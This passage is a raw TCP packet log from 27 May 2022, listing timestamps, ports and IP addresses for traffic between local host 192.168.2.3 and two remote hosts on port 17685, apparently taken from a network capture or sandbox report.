May 27, 2022 06:59:20.372208118 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.372230053 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.372252941 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.372277021 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.372299910 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.372410059 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.372435093 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.372458935 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.372560024 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.372586012 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.372607946 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.384613037 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.384658098 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.384685993 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.384712934 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.384741068 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.384767056 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.384793997 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.384823084 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.384848118 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.384875059 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.475008965 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.494627953 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.865634918 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.885032892 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.885780096 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.904927969 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.904973984 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.905035019 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.905591011 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.924087048 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.924129963 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.924247026 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.924453974 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.924523115 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.924566984 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.943245888 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.943279028 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.943360090 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.943409920 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.943420887 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.943449020 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.943450928 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.943478107 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.943500042 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.943522930 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.962474108 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.962542057 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.962558031 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.962575912 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.962603092 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.962620974 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.962739944 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.982023954 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.982207060 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.001303911 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.001379013 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.001405001 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.001430988 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.001457930 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.001485109 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.001514912 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.001517057 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.001539946 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.001571894 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.001597881 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.020773888 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.020849943 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.020867109 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.020884037 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.020911932 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.020930052 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.020955086 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.020982981 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.020999908 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.021011114 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.021048069 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.021064043 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.040007114 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.040169954 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.040268898 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.040297985 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.040326118 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.040353060 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.040354013 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.040379047 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.040384054 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.040405989 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.040421963 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.040435076 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.040446043 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.040462017 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.040488958 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.040508032 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.040517092 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.040525913 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.040586948 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.059520960 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.059578896 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.059607983 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.059633017 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.059660912 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.059686899 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.059706926 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.059711933 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.059740067 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.059766054 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.059770107 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.059793949 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.059822083 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.059823036 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.059843063 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.059859037 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.059889078 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.078830957 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.078876019 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.078903913 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.078927994 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.078954935 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.078962088 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.078983068 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.079009056 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.079018116 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.079035997 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.079041004 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.079063892 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.079082012 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.079092979 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.079118013 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.079121113 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.079149008 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.079180956 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.079224110 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.079282999 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.098660946 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.098737001 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.098752975 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.098769903 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.098797083 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.098814964 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.098839998 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.098865986 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.098982096 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.099037886 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.099056959 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.099062920 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.099124908 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.118058920 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.118103027 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.118132114 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.118156910 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.118160009 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.118184090 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.118208885 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.118212938 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.118238926 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.118257046 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.118267059 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.118278980 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.118294001 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.118305922 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.118319988 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.118321896 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.118355989 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.118372917 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.118463993 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.118494034 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.118530989 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.118556023 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.137434959 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.137480021 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.137497902 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.137516022 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.137546062 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.137573957 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.137602091 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.137625933 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.137638092 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.137654066 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.137674093 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.137681007 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.137693882 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.137706041 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.137731075 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.137733936 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.137749910 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.137761116 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.137768030 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.137785912 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.137787104 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.137816906 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.137830019 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.137854099 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.137872934 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.156855106 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.156898022 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.156924963 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.156951904 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.156966925 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.156976938 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.157004118 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.157030106 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.157031059 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.157058001 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.157067060 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.157083988 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.157110929 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.157114983 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.157139063 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.157144070 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.157166958 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.157169104 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.157192945 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.157217979 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.157219887 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.157246113 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.157248020 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.157274008 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.157277107 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.157325029 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.157340050 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.176348925 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.176403046 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.176419973 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.176448107 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.176465988 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.176558971 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.176590919 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.176619053 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.176618099 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.176645041 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.176673889 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.176691055 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.176702976 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.176717997 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.176729918 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.176737070 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.176755905 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.176779985 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.176784992 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.176812887 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.176817894 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.176841021 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.176841974 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.176867962 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.176868916 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.176908016 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.176944971 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.196072102 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.196167946 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.196197987 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.196223974 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.196249962 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.196276903 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.196301937 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.196330070 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.196360111 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.196384907 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.196413040 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.196439028 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.196465015 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.196528912 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.196561098 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.196585894 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.196613073 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.309384108 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.309689045 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.328804970 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:21.328934908 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:21.908814907 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:21.928117037 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:21.928232908 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:21.929721117 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:21.948745012 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:21.957731962 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:21.958566904 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:21.977808952 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:21.977905035 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:21.977961063 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:21.978018999 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:21.978020906 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:21.978111029 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:21.978137970 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:21.978220940 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:21.978235960 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:21.978316069 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:21.997879982 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:21.997939110 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:21.998059988 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:21.998224020 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:21.998284101 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:21.998291016 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:21.998513937 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:21.998723030 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:21.998809099 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.000602961 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.000639915 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.000669003 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.000694036 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.000705957 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.000762939 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.000792980 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.000808001 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.017452002 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.017501116 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.017528057 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.017554998 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.017575026 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.017637968 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.017661095 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.017677069 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.019402027 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.019500971 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.019661903 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.019735098 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.019742966 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.019826889 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.019845009 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.019922972 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.019936085 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.020006895 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.020013094 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.020076990 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.020087004 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.020103931 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.020164013 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.020190001 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.020252943 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.020279884 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.020338058 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.020349979 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.020364046 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.020431042 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.020462036 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.020545006 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.020602942 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.020632982 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.020690918 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.020704031 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.020714998 CEST	49755	17685	192.168.2.3	18.156.13.209
